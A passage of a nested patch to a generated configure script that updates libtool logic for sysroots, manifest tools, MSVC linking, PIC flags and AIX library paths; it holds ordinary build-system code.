-+lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-
- # Handle CRLF in mingw tool chain
- opt_cr=
-@@ -7063,6 +7381,7 @@ for ac_symprfx in "" "_"; do
- else
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
- fi
-+ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-@@ -7104,6 +7423,18 @@ _LT_EOF
- if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
- if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<_LT_EOF > conftest.$ac_ext
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT_DLSYM_CONST
-+#else
-+# define LT_DLSYM_CONST const
-+#endif
-+
- #ifdef __cplusplus
- extern "C" {
- #endif
-@@ -7115,7 +7446,7 @@ _LT_EOF
- cat <<_LT_EOF >> conftest.$ac_ext
-
- /* The mapping between symbol names and symbols. */
--const struct {
-+LT_DLSYM_CONST struct {
- const char *name;
- void *address;
- }
-@@ -7141,8 +7472,8 @@ static const void *lt_preloaded_setup() {
- _LT_EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
-- lt_save_LIBS="$LIBS"
-- lt_save_CFLAGS="$CFLAGS"
-+ lt_globsym_save_LIBS=$LIBS
-+ lt_globsym_save_CFLAGS=$CFLAGS
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -7152,8 +7483,8 @@ _LT_EOF
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
-- LIBS="$lt_save_LIBS"
-- CFLAGS="$lt_save_CFLAGS"
-+ LIBS=$lt_globsym_save_LIBS
-+ CFLAGS=$lt_globsym_save_CFLAGS
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
-@@ -7190,6 +7521,21 @@ else
- $as_echo "ok" >&6; }
- fi
-
-+# Response file support.
-+if test "$lt_cv_nm_interface" = "MS dumpbin"; then
-+ nm_file_list_spec='@'
-+elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
-+ nm_file_list_spec='@'
-+fi
-+
-+
-+
-+
-+
-+
-+
-+
-+
-
-
-
-@@ -7206,6 +7552,40 @@ fi
-
-
-
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
-+$as_echo_n "checking for sysroot... " >&6; }
-+
-+# Check whether --with-libtool-sysroot was given.
-+if test "${with_libtool_sysroot+set}" = set; then :
-+ withval=$with_libtool_sysroot;
-+else
-+ with_libtool_sysroot=no
-+fi
-+
-+
-+lt_sysroot=
-+case ${with_libtool_sysroot} in #(
-+ yes)
-+ if test "$GCC" = yes; then
-+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ fi
-+ ;; #(
-+ /*)
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
-+ ;; #(
-+ no|'')
-+ ;; #(
-+ *)
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
-+$as_echo "${with_libtool_sysroot}" >&6; }
-+ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
-+ ;;
-+esac
-+
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
-+$as_echo "${lt_sysroot:-no}" >&6; }
-
-
-
-@@ -7417,6 +7797,123 @@ esac
-
- need_locks="$enable_libtool_lock"
-
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$MANIFEST_TOOL"; then
-+ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
-+if test -n "$MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
-+$as_echo "$MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
-+ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
-+ # Extract the first word of "mt", so it can be a program name with args.
-+set dummy mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
-+if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
-+$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_MANIFEST_TOOL" = x; then
-+ MANIFEST_TOOL=":"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
-+ fi
-+else
-+ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
-+fi
-+
-+test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
-+$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
-+if ${lt_cv_path_mainfest_tool+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_path_mainfest_tool=no
-+ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
-+ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
-+ cat conftest.err >&5
-+ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
-+ lt_cv_path_mainfest_tool=yes
-+ fi
-+ rm -f conftest*
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
-+$as_echo "$lt_cv_path_mainfest_tool" >&6; }
-+if test "x$lt_cv_path_mainfest_tool" != xyes; then
-+ MANIFEST_TOOL=:
-+fi
-+
-+
-+
-+
-+
-
- case $host_os in
- rhapsody* | darwin*)
-@@ -7980,6 +8477,8 @@ _LT_EOF
- $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
- echo "$AR cru libconftest.a conftest.o" >&5
- $AR cru libconftest.a conftest.o 2>&5
-+ echo "$RANLIB libconftest.a" >&5
-+ $RANLIB libconftest.a 2>&5
- cat > conftest.c << _LT_EOF
- int main() { return 0;}
- _LT_EOF
-@@ -8175,7 +8674,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -8264,7 +8764,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -8562,8 +9062,6 @@ fi
- lt_prog_compiler_pic=
- lt_prog_compiler_static=
-
--{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
--$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
-@@ -8729,6 +9227,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='--shared'
- lt_prog_compiler_static='--static'
- ;;
-+ nagfor*)
-+ # NAG Fortran compiler
-+ lt_prog_compiler_wl='-Wl,-Wl,,'
-+ lt_prog_compiler_pic='-PIC'
-+ lt_prog_compiler_static='-Bstatic'
-+ ;;
- pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
-@@ -8791,7 +9295,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
-- f77* | f90* | f95*)
-+ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
-@@ -8848,13 +9352,17 @@ case $host_os in
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
- ;;
- esac
--{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
--$as_echo "$lt_prog_compiler_pic" >&6; }
--
--
--
--
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-+$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-+if ${lt_cv_prog_compiler_pic+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
-+$as_echo "$lt_cv_prog_compiler_pic" >&6; }
-+lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -8915,6 +9423,11 @@ fi
-
-
-
-+
-+
-+
-+
-+
- #
- # Check to make sure the static flag actually works.
- #
-@@ -9265,7 +9778,8 @@ _LT_EOF
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
-- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
-
- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9364,12 +9878,12 @@ _LT_EOF
- whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
- hardcode_libdir_flag_spec=
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
-- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
-+ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
- if test "x$supports_anon_versioning" = xyes; then
- archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- echo "local: *; };" >> $output_objdir/$libname.ver~
-- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
-+ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
- fi
- ;;
- esac
-@@ -9383,8 +9897,8 @@ _LT_EOF
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
-@@ -9402,8 +9916,8 @@ _LT_EOF
-
- _LT_EOF
- elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9449,8 +9963,8 @@ _LT_EOF
-
- *)
- if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9580,7 +10094,13 @@ _LT_EOF
- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9593,22 +10113,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -9620,7 +10147,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9633,22 +10166,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
-@@ -9693,20 +10233,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
-- hardcode_libdir_flag_spec=' '
-- allow_undefined_flag=unsupported
-- # Tell ltmain to make .lib files, not .a files.
-- libext=lib
-- # Tell ltmain to make .dll files, not .so files.
-- shrext_cmds=".dll"
-- # FIXME: Setting linknames here is a bad hack.
-- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-- # The linker will automatically build a .lib file if we build a DLL.
-- old_archive_from_new_cmds='true'
-- # FIXME: Should let the user specify the lib program.
-- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-- fix_srcfile_path='`cygpath -w "$srcfile"`'
-- enable_shared_with_static_runtimes=yes
-+ case $cc_basename in
-+ cl*)
-+ # Native MSVC
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ always_export_symbols=yes
-+ file_list_spec='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
-+ enable_shared_with_static_runtimes=yes
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ # Don't use ranlib
-+ old_postinstall_cmds='chmod 644 $oldlib'
-+ postlink_cmds='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # Assume MSVC wrapper
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-+ # The linker will automatically build a .lib file if we build a DLL.
-+ old_archive_from_new_cmds='true'
-+ # FIXME: Should let the user specify the lib program.
-+ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-+ enable_shared_with_static_runtimes=yes
-+ ;;
-+ esac
- ;;
-
- darwin* | rhapsody*)
-@@ -9767,7 +10350,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | dragonfly*)
-- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
-@@ -9775,7 +10358,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux9*)
- if test "$GCC" = yes; then
-- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
-@@ -9791,7 +10374,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux10*)
- if test "$GCC" = yes && test "$with_gnu_ld" = no; then
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
-@@ -9815,10 +10398,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
-@@ -9897,23 +10480,36 @@ fi
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- # Try to use the -exported_symbol ld option, if it does not
- # work, assume that -exports_file does not work either and
- # implicitly export all symbols.
-- save_LDFLAGS="$LDFLAGS"
-- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ # This should be the same for all languages, so no per-tag cache variable.
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
-+$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
-+if ${lt_cv_irix_exported_symbol+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ save_LDFLAGS="$LDFLAGS"
-+ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
--int foo(void) {}
-+int foo (void) { return 0; }
- _ACEOF
